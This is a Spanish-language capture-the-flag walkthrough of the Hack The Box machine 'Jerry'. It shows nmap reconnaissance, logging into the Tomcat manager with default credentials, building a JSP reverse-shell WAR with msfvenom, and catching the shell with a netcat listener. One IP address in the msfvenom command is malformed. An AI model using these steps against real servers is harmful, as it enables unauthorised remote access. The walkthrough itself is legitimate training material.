En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:
sudo mkdir Jerry
Ahora, mediante la función mkt
que tengo previamente definida en la .zhshrc
crearemos nuestros directorios de trabajo:
sudo mkt
Esta función está definida para crearnos cuatro directorios (nmap
, content
, exploits
y scripts
) desde los cuales poder trabajar a la hora de
realizar las máquinas de HTB.
Ejecutamos un ping
y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows.
ping -c 1 10.10.10.95
Ahora vamos a ver mediante whatweb
que más podemos ver:
whatweb 10.10.10.95
Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante nmap
una serie de escaneos para ver que puertos se encuentran abiertos, primero realizaré un escaneo básico:
nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts
-oG
: Exportar los resultados en formato grepeable.
allPorts
: Nombre del archivo. Si no existe lo creará.
Guardamos los resultados en el archivo allPorts
, de esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.
Como podemos ver, nos reporta que el puerto 8080 está abierto, vamos a proceder a un segundo escaneo especificando
que quereros utilizar la variable --script http-enum
en el puerto 8080 y guardaremos los resultados en el archivo
targetenum
.
sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum
Vemos que en el puerto 8080
corre un servicio http
, por tanto, vamos a intentar acceder mediante el navegador de Firefox.
Vemos que al intentar acceder al dominio http://10.10.10.95
la página no termina de cargar, pero tampoco reporta ningún error. Por tanto, lo siguiente que
probaremos será especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio http://10.10.10.95:8080
.
Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado Tomcat
. Lo siguiente que vamos a probar, es tratar de
acceder al directorio ./manager/html
.
Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseguimos ingresar de manera sencilla.
Tras probar algunas combinaciones vemos que utilizando el usuario admin
y la contraseña admin
nos reporta este mensaje con un error de servicio 403.
Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo.
Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario tomcat
y empleando la contraseña
s3cret
.
Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones.
Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una shell inversa desde la cual poder interactuar con la máquina.
Mediante msfvenom
podemos tratar de comprobar una gran cantidad de herramientas:
msfvenom -l payloads
Vamos a emplear la herramienta jsp_shell_reverse_tcp
. Esta herramienta, especificándole nuestro host de escucha y el puerto mediante el siguiente
comando, nos creará un archivo en formato .war
capaz de crear una shell inversa desde la máquina víctima.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war
Una vez creado nuestro archivo shell.war
vamos a subirlo a la máquina víctima, pero antes, debemos mover nuestro archivo
al directorio Descargas/Downloads
:
Ahora, mediante el apartado de la página llamado Archivo WAR a desplegar
subimos nuestro archivo shell.war
.
Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerlo en escucha por el puerto 8080
mediante nc
como se
trata de un sistema Windows utilizaremos rlwarp
:
rlwrap nc -lvnp 8080
Ahora, para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos.
Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat.
Está máquina ya está básicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio
C:\Users\Administrator\Desktop\flags
:
cd /Users/Administrator/Desktop/flags
Vemos como dentro del directorio flags
se encuentra el archivo 2 for the price at 1.txt
Y finalmente, mediante type
podemos visualizar el contenido: